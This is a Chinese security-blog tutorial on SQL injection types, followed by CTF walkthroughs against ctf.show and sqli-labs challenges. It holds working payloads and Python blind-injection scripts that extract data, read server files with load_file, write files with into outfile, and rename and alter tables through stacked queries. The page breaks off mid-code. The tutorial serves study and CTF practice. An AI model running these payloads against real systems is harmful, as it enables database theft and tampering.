freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

通过一文了解SQL注入
quan9i 2022-07-04 15:36:36 160492
所属地 河南省

前言

在sqli-labs靶场中学过一点sql注入,最近遇到了很多此类题目,对sql注入进行了进一步的学习,汇总如下,希望能对正在学习的各位师傅们有所帮助

漏洞相关信息

漏洞成因

程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

定义

web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的 SQL语句 ,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单理解:前端的恶意语句插入到后端的服务器中,成功运行了攻击者想要执行的操作

漏洞危害

1、攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。

2.对数据库的数据进行增加或删除操作,例如删除数据库中重要数据的表。

3.如果网站目录存在写入权限,那么攻击者可以对网页进行篡改,发布一些违法信息等。

4.获取服务器最高权限,远程控制服务器,安装后门,从而修改或控制操作系统。

sql注入常见类型(按照执行效果分类)

联合查询注入

它是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起。
简单的说,就是union可合并两个及以上select语句的结果集。

前提:
(1)这几个select语句必须拥有相同列,而且各列的数据类型也相同。
(2)必须有显示位

什么是显示位?
官方的说就是执行的sql语句得到的数据会显示到界面上去,在界面上显示数据的这个位置就称位显示位
简单的说就是在界面上有回显,如下图这种情况无论输入什么都显示 you are in ,此即说明不存在显示位
在这里插入图片描述

2、查询语句使用的多为union select 语句
union select 在查询数据库,查询列名以及查询字段信息时候都被用到,示例如下:
代码:

uname=n' union select 1,group_concat(schema_name) from information_schema.schemata  #&passwd=admin&submit=Submit

在这里插入图片描述
3、union select 1,2,3的含义
查询字段时,经常用到union select 1,2,3 这是因为 1,2,3会对应到数据库中,先查询数据库中的数据,再来输出1,2,3
示例:

?id=1'))  union select 1,2,3 from security.users into outfile "D:\\1.txt" --+

输出结果
在这里插入图片描述

示例2:

: uname=0' union select 1,2,group_concat(schema_name) from information_schema.schemata#

爆出了数据库名
在这里插入图片描述

布尔盲注

在SQL注入过程中,执行正确时应用程序返回的是固定界面(正确执行和错误执行的界面是不同的)。这时,我们无法根据应用程序的回显得到我们需要的数据库信息。但是可以通过构造逻辑判断来得到我们需要的信息。
布尔盲注一般常用的函数为length()、substr()和ascii()函数。在这里对函数进行简单介绍

length():函数返回字符串str的长度,以字节为单位。
substr(str,pos,len):函数从特定位置开始的字符串返回一个给定长度的子字符串
		str参数代表待截取的字符串
		pos参数代表从什么位置开始截取
		len参数表示字符串截取的长度
ascii():函数输出某个字符的ascii码值

时间盲注

在SQL注入过程中,执行正确时应用程序返回的是固定界面(正确执行和错误执行的界面是相同的,界面一成不变)。这时我们可利用延时函数让 mysql 执行时间变长,进而判断出执行的语句是否正确
时间盲注常用的函数为if(),sleep(), benchmark()函数,在这里对函数进行简单介绍

if(x,x1,x2):x是条件,当条件执行结果为true时,就执行x1,否则执行x2
sleep(t):暂停t秒执行,假如里面是1,其含义就是延时1秒
benchmark(t,y):对y的性能计算t次,返回结果为0
举个例子benchmark(5000000,sha(1),这句话的含义是对sha(1)进行性能测试,测试次数为5000000次,
其最终输出结果为0,但是计算性能时间超过1秒了,因此从这里来说可以起到替代sleep的作用

报错注入

当web程序无法使用联合查询,但输入错误语句存在报错的时候,这时候我们就可以尝试用报错注入。

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息

前提在上方已经提过,就是界面可以回显错误信息

常用的函数是

updatexml(XML_document,Xpath_string,new_value):函数利用mysql函数参数格式错误进行报错注入
		XML_document:是字符串String格式,为XML文档对象名称
		Xpath_string:Xpath格式的字符串
		new_value:string格式,替换查找到的符合条件的数据
extractvalue(XML_document,XPath_string):同样是利用xpath语法错误来进行报错注入
下方四个通常是联用的,这种报错的原因是主键重复
rand():随机输出0到1之间的数
floor():对括号内的数进行向下取整,比如1.9187取为1
group by x:分组语句
count():汇总语句,如果括号里面是*就是将全部汇总

这里举出一些payload例子及少见的报错函数(3之后是不常用的少见注入函数)

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束,那我们在一句SQL语句结束后再紧跟一句SQL语句 ,此时会不会执行两条语句
答案是会,堆叠注入正是基于这种思想而来。

举个简单例子

mysql> select(ascii('a'));show tables;
+--------------+
| (ascii('a')) |
+--------------+
|           97 |
+--------------+
1 row in set (0.00 sec)

+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

堆叠注入的局限性在于并不是每一个环境下都可以执行

可能受到API或者数据库引擎不支持的限制
可能因为权限不足而无法正确执行

举个例子
PHP为了防止sql注入机制,往往使用调用数据库的函数是mysql_query()函数,这个函数只运行执行一条语句,分号后面的内容将不会被执行,此时堆叠注入就失效了

二次注入

用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。
我的认识:
小白对此的理解:先向数据库存入恶意数据,数据在前端被转义,但在存放到数据库时保持原样,此时我们再调用此数据,执行sql查询,二次注入出现!
图解如下

在这里插入图片描述
具体过程为

1、用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
2、数据库对自己存储的数据非常放心,直接取出恶意数据给用户

宽字节注入

首先我们需要了解一下单字节和宽字节

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
宽字节字符集: 所有的字符都使用两个字节来表示。

注:英文字母占一个字节,汉字占两字节
为什么会产生宽字节注入漏洞,这是因为前端使用的是utf-8编码,后端使用的是gbk,gb2312或其他宽字节编码,这样两者就会存在出入,进而导致了宽字节注入的产生。
对编码字符集的小科普

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。
但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,
比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8
两个版本(例如:dedecms) 我们就以gbk字符编码为例,拉开帷幕。
GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以
gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。
例如:0xD50×5C 对应了汉字“誠 ”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 
经URL解码后为“誠”。

前端使用的部分函数对特殊字符进行转义,添加反斜杠 \,那我们如果能够再前面多一个字符,使其与\组成汉字,就成功的使后面的特殊字符逃逸出来,从而可以进行注入。
下方是转义时运用的部分函数

magic_quotes_gpc:当PHP的传参中有特殊字符就会在前面加转义字符'\',来做一定的过滤 
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() — 转义一个字符串

相关知识介绍

万能语句

1' or 1=1#经常可以在sql注入中见到,它可以显示所有的信息,这是为什么呢,下面我们来一探究竟

$sql="select * from users where username='$username' and password='$pass'";

我们把sql语句与payload相结合,那这个sql语句就是

$sql="select * from users where username='1' or 1=1 #' and password='1'";

那它在后端执行的实际语句就是

select * from users where username= '1' or 1=1 # ' and  password='1'

因为#是注释符,后面的内容都会被注释掉,所以它执行的语句等同于

select * from users where username= '1' or 1=1

这里'1' or 1=1肯定是true(username=‘1’可能是假,但1=1肯定为true,or语句只要有一个为true就为true),因此返回结果为true,所以执行的语句就是

select * from users

因此就挑选出了所有的数据

md5特殊字符串

首先介绍一下md5函数

md5(string,raw)

参数 	描述
string 	必需。规定要计算的字符串。
raw 	可选。规定十六进制或二进制输出格式:
        TRUE - 原始 16 字符二进制格式
    	FALSE - 默认。32 字符十六进制数

这里当是true的时候,转成原始16字符二进制格式,此时出现的都将是乱码,我们是无法进行注入的但这里有个特殊的字符串ffifdyop,组成查询语句的时候这个hex会被转成字符串,如果转换之后的字符串包含’or’,就会和原查询语句一起组成。此时语句就称为了'or'6+其他字符,此时就成功执行了万能语句,进而获取了数据

nosql注入

nosql是非关系性的数据库,而mysql是关系性的数据库
有关nosql相关的文章我(小白)认为这个是讲的最明白的一个NoSQL注入总结(MongoDB)
也可以参考这篇文章https://www.anquanke.com/post/id/97211

nosql常用命令符如下

db.collection.find(query, projection)
//query 可选,使用查询操作符指定查询条件
//可选,使用投影操作符指定返回的键。查询时返回文档中所有键值, 只需省略该参数即可(默认省略)
举例:
//查找username为JrXnm的信息
db.user.find({'username':'JrXnm'}) 

mongodb条件操作符
比较: 
    $gt : >
    $lt : <
    $gte: >=
    $lte: <=
    $ne : !=、<>
    //查找用户名不为admin且password为123456的用户
    db.user.find({'username': {$ne:'admin'}, 'password': '123456'})

    /**
    * : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
    * : $ne { "age" : { "$ne" : 23}}
    * : $lt { "age" : { "$lt" : 23}}
    */

条件:
    $in : in
    $nin: not in
    $all: all 
    $or:or
    $and: and
    $not: 反匹配(1.3.3及以上版本)
    $exist: 
    //如果记录中有包含该属性的全部返回
    db.collection.find({title:{$exists:true}});
    //查找用户名为在这个数组中的用户信息
    db.user.find({'username': {$in: ['admin', 'JrXnm']}})

正则:
    模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
    正则的另一种写法:db.user.find({'username':/jrx/i})

limit注入

学习过p神limit注入文章后,有了如下的认识
limit看似是无法进行注入的,在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO有写入shell的权限,因此limit也是存在注入的,本地测试如下

SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

在这里插入图片描述
经过测试之后,我发涉及到select的无法使用,怀着疑问重新查看文章后发现评论区有师傅问出了同样的问题,得知新版的已不再支持select语句
在这里插入图片描述

可以相互替代的函数总结

时间盲注中的时间

表示时间的三种函数(第三种为笛卡尔积)

sleep(1)
benchmark(5000000,sha(1)
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1

在这里插入图片描述

布尔盲注中的正则

表示匹配的两种方式

regexp
rlike

在这里插入图片描述

联合查询中的where

当where被过滤的时候,我们可以用right join和on来代替where,这里简单介绍一下此函数

RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中
没有匹配的行。

这里本地测试几个语句,希望能对大家理解有所帮助

select * from users right join emails on substr(users.username,1,1)regexp('a');

在这里插入图片描述

select * from emails right join users on substr(username,1,1)regexp('a');

在这里插入图片描述

注入实战

联合查询

0X01

$sql = "select username,password from ctfshow_user2 where 
username !='flag' and id = '".$_GET['id']."' limit 1;";

先输入个1试试
在这里插入图片描述发现回显只有两个,此时说明下面的联合查询不能用123,应该用1,2
给出了拼接语句,可以看出是单引号闭合,我们此时尝试构造payload如下

-1' union select 1,2 --+

在这里插入图片描述
语句中说了,列名是ctfshow_user2,我们构造payload如下

-1' union select 1,group_concat(password) from ctfshow_user2--+
// -1' union select 1,group_concat(id,username,password) from  ctfshow_user2--+

执行结果如下
在这里插入图片描述

0X02

```sql
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

查询字段数

1' order by 3 --+

在这里插入图片描述
这说明有字列数为3,此时尝试union select构造语句

-1' union seleCt 1,group_concat(username),group_concat(password) from ctfshow_user --+

在这里插入图片描述
报错,我一开始想的是字母和数字可能被过滤了,但我想到order by查询时没有报错,这说明应该是过滤了某个固定字符,尝试大小写绕过

-1' uNion sElect 1,group_concat(username),group_concat(password) from ctfshow_user --+

在这里插入图片描述

0X03

返回逻辑

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

知识科普

\xnn 匹配ASCII代码中十六进制代码为nn的字符
0x00==0
0x7f==127

针对本关的话,我们可以采用写入文件来进行绕过从而获取flag,我们知道文件网页上回显出的文件一般位于/var/www/html下,因此我们可构造payload如下

0' union select username,password from ctfshow_user5 into outfile 
'/var/www/html/quan.txt'--+

此时我们再去访问quan.txt
在这里插入图片描述

布尔盲注

0X01

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

本关过滤了ascii,但ord函数在处理单字符时与ascii效果相同,因此我们这里替换一下即可
利用的基本原理是布尔盲注,在界面中测试的话payload就是

username: -1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),1,1)='c',1,0)#
password: 1

此时回显密码错误,那就说明用户语句执行正确,说明注入成功,此时响应为{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]},可以根据\u5bc6\u7801\u9519\u8bef来进行判断username是否执行正确也就得到了首字母,但由于这样测试太慢,我们可以利用python脚本来进行

#@Author:quan9i
import requests

url = "http://f9eb9d85-b9e7-4719-8ab3-a1aecfd29198.challenge.ctf.show/api/"
flag=""
for i in range(1,55):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz_-{}":
            #查数据库
            # payload="-1' or if(substr((select database()),{},1)='{}',1,0)#".format(i,j)
            #查表
            # payload="-1' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#".format(i,j)
            #查列
            # payload="-1' or if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}',1,0)#".format(i,j)
            #查字段
            payload="-1' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)='{}',1,0)#".format(i,j)
            #print(payload)
            data={
                'username':payload,
                'password':0
            }
            r=requests.post(url=url,data=data)
            if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                flag += j
                print(flag)
                if j=='}':
                    exit()
                break

0X02

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";


返回逻辑
  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';

看密码判断,$row['pass']可以理解为返回查询的结果,在和后面的password进行弱比较,这里我需要简单介绍一下intval函数

intval():当里面内容为数字时候,输出的是数字
		 当内容为字母时,输出的是0

此时我们构造username=0,因为username中都是字符串,其数字值也是0,所以返回了所有以字母开头的数据,同理如果pass中的数据也都是字母开头,此时我们再让password等于0,条件就可以成功执行,flag也会回显出来。
这里我们尝试0/0进行登录
在这里插入图片描述
提示密码错误,说明存在全字母的username,但password不是全字母。
此时查看响应
在这里插入图片描述
尝试1/0登录在这里插入图片描述
提示查询失败,说明不存在username为1的用户,此时查看响应
在这里插入图片描述
综合来看,说明当username正确执行时,会出现\u5bc6\u7801\u9519\u8bef字段,
由题目提示可知文件路径在/var/www/html/api/index.php下,因此我们可以利用load_file函数来获取内容,在这里对load_file简单介绍一下

load_file():将括号内的文件内容进行读取,并以字符串形式返回

用if语句将文件内容读取并进行正则匹配,正确执行时输出0,否则为1。此时username如果执行正确就可以查到数据,脚本如下

#@Author:quan9i
import requests

url = "http://044bf66a-c828-4484-8281-4668e93c34ea.challenge.ctf.show/api/index.php"
flag="ctfshow{"
for i in range(0,100):
    for j in range(45,127):
        if(chr(j)!='?'and chr(j)!='.'):
            payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+chr(j))
            data={
                'username':payload,
                'password':0 #这里可以随便输入,这种方式获取flag不需要看password
            }
            r=requests.post(url=url,data=data)
            if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
                flag += chr(j)
                print(flag)
                if chr(j)=='}':
                    exit()
                break
        else:
            print("成功绕过元字符")

执行结果
在这里插入图片描述
注:这里j不能取+``?``.是因为这三个属于正则表达式中的元字符,会污染正则匹配,还有ascii码的(0,32)及127是控制字符,也会影响脚本

0X03(布尔盲注正则版)

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;

可以看出注入方式改为post注入,我们查看sql语句可以发现我们只需要以post方式传入表名即可正确执行sql语句,简单测试一下

tableName=ctfshow_user

执行结果
在这里插入图片描述发现可以执行,此时我们可以利用where进行模糊匹配,从而得到我们想要的flag
payload

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('c'))

执行的实际语句

select count(pass) from "tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('c'))";

涉及知识

substr(x,y,z)
x是字符串那部分,我们在这里可以理解为列名
y指的是从y开始,例如当y=1是就从第一个字母开始
z指的是截取几位,例如当z=1时就代表截取1位

regexp模糊匹配
在这里表示的是将结果

本地测试一下

select * from users where substr(`username`,1,1)regexp('a');

执行结果
在这里插入图片描述可见其可以把username列中首字母为a的全部取出来

你可以把第一个1依次后推,在bp中,设置c为变量进行爆破,可以依次得到flag
不过这样速度较慢,搞一下脚本

import requests
url='http://6b306aef-1841-4432-8af3-599dd5db1815.challenge.ctf.show/select-waf.php'
flagstr=r"1234567890qwertyuiopasdfghjklzxcvbnm-_}{"
flag='ctfhsow' //设置flag格式,再进行匹配更精确
for i in range(8,50): //ctfshow已经7位,故从第八位开始
    for j in flagstr:
        data = {
            'tableName': "(ctfshow_user)where(substr(pass,{},1))regexp('{}')".format(str(i),j) //第一次的时候就是在全部列的pass下第八位中依次寻找j的,最终取出来,这里取出{
        }
        exp = requests.post(url, data=data)
        if "$user_count = 1;" in exp.text:
            flag += j
            print(flag)
            break

时间盲注

0X01(时间盲注笛卡尔积版)

function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }

过滤这两个函数,有一种东西叫笛卡尔积,简单介绍一下
笛卡尔积,又叫cross join,是SQL中两表连接的一种方式。通常我们都要在实际SQL中避免直接使用笛卡尔积,因为它会使“数据爆炸”,尤其是数据量很大的时候。本地测试如下

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables D;

在这里插入图片描述由此可见可以代替被ban的函数,因此我们可以构造payload如下

if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)='1',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)

但由于手动较慢,因此选用脚本,脚本如下

#@Author:quan9i
import requests

url = "http://d0565861-1643-4f0f-8ef3-10c53ce54e13.challenge.ctf.show/api/"
flag="ctfshow{"
for i in range(9,55):
    for j in "0123456789ab,cdefghijklmnopqrstuvwxyz_-{}":
            #查表
            #payload="if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),{},1)='{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)"
            #查字段
            payload="if(substr((select flagaac from ctfshow_flagxc),{},1)='{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables D),1)"
            #print(payload)
            data={
                'ip':payload.format(i,j),
                'debug':'0'
            }
            print(data)
            try:
                response = requests.post(url=url,data=data,timeout=0.7)
                #print("执行失败")
            except Exception as e:
                #print("执行成功")
                flag += j
                print(flag)

0X02

//分页查询
  $sql = select * from ctfshow_user group by $username;

看起来是group by注入,在查询了有关group by注入后发现,大部分都是group by报错注入,这位师傅的文章写的还是很不错的https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,当我p颠p颠的去注入报错注入的payload

concat(database(),floor(rand()*2))

发现没反应,此时才想到压根就没回显,又怎么可能有报错信息,因此我们这里只能用时间盲注来进行获取flag,示例payload如下

concat(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{1},1)='{c}',sleep(1),0),1);

脚本如下

#@Author:quan9i
import requests

url = "http://62e82e3d-ef80-4818-86f3-50e23a409d63.challenge.ctf.show/api/"
flag="ctfshow{"
for i in range(9,55):
    for j in "0123456789ab,cdefghijklmnopqrstuvwxyz_-{}":
            #查数据库
            #payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
            #print(payload)
            #查表
            #payload="select group_concat(table_name) from information_schema.tables where table_schema=database())"
            #print(payload)
            #查列
            #payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'"
            #print(payload)
            #查字段
            payload="select flagaabc from ctfshow_flaga"
            #print(payload)
            params={
                'u':f"concat(if(substr(({payload}),{i},1)='{j}',sleep(1),0),1);"
            }
            print(params)
            try:
                response = requests.get(url=url,params=params,timeout=1)
                #print("执行失败")
            except Exception as e:
                #print("执行成功")
                flag += j
                print(flag)

0X03(二分法时间盲注)

在这里插入图片描述
提示用了单引号

本关看靶场的话不知道注入点在哪(可能仅对我这个小白而言)
,但仔细去查看首页界面的js文件的话,可以发现api下传入的数据是ip和debug,ip这个的话我猜测是可注入的点,测试了一下,确实是这样
在这里插入图片描述
本地测试如下(post注入)

debug=0&ip=1' or if(ascii(substr((select group_concat
(table_name) from information_schema.tables where 
table_schema=database()),1,1))>1,sleep(1),0) #

但由于这样比较缓慢,因此这里需要借用脚本,脚本内容如下

import requests

url = "http://98966a40-1d76-48f8-a258-f9a70e6ff8dc.challenge.ctf.show/api/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        #payload = "select flaga from ctfshow_flagx"
        data = {
            'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
            'debug': '0'
        }
        try:#try后为检测范围
            r = requests.post(url, data=data, timeout=1)#延时超过一秒就按异常处理,因为设置的是一秒,所以异常时即为正确情况
            tail = mid
        except Exception as e : #检测到异常时
            head = mid +1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

报错注入

0X01

发现在unname中注入会被转义,所以我们选择在passwd中进行注入
在这里插入图片描述
此时采用xpath函数来破解
获取表payload:

uname=admin &passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

在这里插入图片描述
获取表名payload:

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) #&submit=Submit

在这里插入图片描述
获取列名payload

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),1) #&submit=Submit

获取字段信息payload

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select email_id from security.emails limit 0,1)),1) #&submit=Submit

在这里插入图片描述

0X02

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
返回逻辑
过滤updatexml extractvalue

这里把两个常用的报错注入函数都给ban了,那这里就需要利用双查询注入了
详细讲解双查询注入
因此本关我们构造payload如下

爆表
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a%23
爆列
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='
ctfshow_flags' limit 1,1),0x7e,floor(rand()*2))a from information_schema.tables group by a%23
爆flag
?id=-1' union select 1,count(*),concat((select flag2 from ctfshow_flags ),0x7e,floor(rand()*2))a from information_schema.tables group by a%23

堆叠注入

0X01

在这里插入图片描述本关我们尝试以弱口令admin作为账号,对pwd进行堆叠注入测试,构造payload如下

1'insert into users(id,username,password) values(88,'aaa','bbb');#

执行结果
在这里插入图片描述
此时查看sql数据库
在这里插入图片描述
查看源码

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

username进行了转义,但pwd没有用函数进行限制,因此这里就出现了堆叠注入漏洞

0X02

在这里插入图片描述
打开靶场后,首先判断一下id包裹方式
在这里插入图片描述
判断出为单引号包裹,此时判断一下字段数
在这里插入图片描述
说明字段为2,此时尝试使用联合查询
在这里插入图片描述
发现联合查询被ban,此时我们无法使用联合查询进行注入,尝试使用堆叠注入,还有部分被过滤,select无法使用,我们可以使用show,进行爆库
构造如下payload

-1';show databases;#

执行结果如下
在这里插入图片描述爆表
在这里插入图片描述
爆出列名

-1';show columns from `1919810931114514`;#

执行结果
在这里插入图片描述

-1';show columns from `words`;#

在这里插入图片描述这里我们可以看出这个words表是默认查询的表(这张表的结构是一个数字加一个字符串)
,众所周知show是无法查看字段信息的,我们该如何获取flag呢
这里alert和rename没有被限制,我们可以利用rename将words这张表改名为words1,再将数字表改名为words,但是呢,此时他是缺少了一个id列的,因此我们可以用alert将flag列改名为id列,并规定类型为varchar,构造payload如下

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

此时再利用万能语句,即可得到flag

1' or 1=1 #

在这里插入图片描述这里还有一种方法,就是采用预编译的方法

set是设置一个新列
prepare是进行定义一个语句
execute是执行

构造payload如下

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

执行结果
在这里插入图片描述这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

执行结果
在这里插入图片描述

0X03

//师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }

发现可以进行堆叠注入,show未被ban,因此可用show来获取表名列名,payload如下

admin';show tables;#
admin';show columns from `ctfshow_flagasa`;#

有如下两种方法获取flag

预编译

admin';prepare quan9i from concat('selec','t * from `ctfshow_flagasa`');execute quan9i;#

handle
不熟悉可以看这篇文章https://blog.51cto.com/u_15023289/2559944,我们在这里所使用其的中心思想就是HANDLER … OPEN 语句打开一个表,后续的 HANDLER … READ 语句可以访问它。此表对象不被其他会话共享,并且直到调用 HANDLER … CLOSE 或者会话终止才会关闭。

handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

二次注入

进入界面后如下图所示
在这里插入图片描述
发现下方有注册的,我们点击注册,用弱口令admin来尝试,命名为admin'#,密码设置为111,如下图
在这里插入图片描述
此时查询数据库,发现注册的已经插入数据库中
在这里插入图片描述
我们登录看看,如下图
在这里插入图片描述
发现是更改密码的,我们试着将111改123,此时查看数据库
在这里插入图片描述
发现更改了admin的密码,即说明注入成功
那他到底能有什么作用呢,我们可以通过一段php代码来体现它的作用

<?php
include("../sql-connections/sql-connect.php");#引用数据库连接文件
error_reporting(0);//关闭报错
